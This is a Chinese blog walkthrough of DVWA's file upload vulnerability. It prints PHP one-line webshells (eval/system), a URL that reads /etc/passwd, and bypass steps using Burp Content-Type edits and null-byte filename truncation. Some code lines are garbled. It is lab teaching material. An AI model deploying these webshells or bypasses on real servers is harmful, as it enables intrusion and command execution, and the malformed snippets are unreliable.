文件上传漏洞--dvwa

文件上传漏洞–dvwa

无防护:

目的主机没有对上传文件进行过滤,直接保存上传文件。上传一句话木马shell.php文件并通过浏览器访问加上参数的地址或者使用中国菜刀直接连接,获取shell。

//一句话木马
(1) shell1.php # eval 使用php函数,

phpinfo();<?php `eval($_REQUEST['seven']);?`>

访问 http://192.168.40.140/dvwa/hackable/uploads/shell1.php?cmd=phpinfo()

(2)shell2.php # system使用Linux系统命令如ls,cp,rm

<?php system($_REQUEST['seven']);?`>

访问:http://192.168.40.140/dvwa/hackable/uploads/shell1.php?seven=cat /etc/passwd

(3)中国菜刀

php eval($_POST['seven']);?>	

REQUEST是通过在网页端输入变量访问代码,POST是使用中国菜刀等工具连接。

低级防护:

对文件类型(Content-Type)进行了过滤,前端代码会自动检测文件类型,符合则上传成功,不符合则上传失败。绕过方法:使用BurpSuite工具截断代理修改数据包的相关字段
如:上传文件为shell.php,可看见代码中Content-Type参数值为application/x-php,直接将application/x-php改为mage/jpeg即可绕过验证,对于文件大小的限制可以直接修改”MAX_FILE_SIZE”的的值突破文件大小限制。

一般防护:

验证上传文件的后缀名。前端验证代码如下,通过以下函数获取上传文件的后缀名,判断是否为允许上传的后缀:

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) )
​绕

绕过方法:使用burpsuite进行00截断,从而使得在文件后缀验证时通过但是在文件转储的时候忽略掉00之后的内容从而实现后缀欺骗。具体步骤如下:
(1)将需要上传的shell.php文件改为shell.php 1.jpg。
(2)使用Burpsuite拦截,并将"shell.php 1.jpg"发送至decoder模块。
(3)从text模式切换到hex编辑模式,找到”shell.php 1.jpg”中空格对应的hex值“20”,将20改为00
(4)从hex模式切换到text模式并将修改过的字符串替换原来报文中的”shell.php 1.jpg”,最后转发,文件上传成功。 在版本较高的php中,此方法不适用。
文件包含漏洞@

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值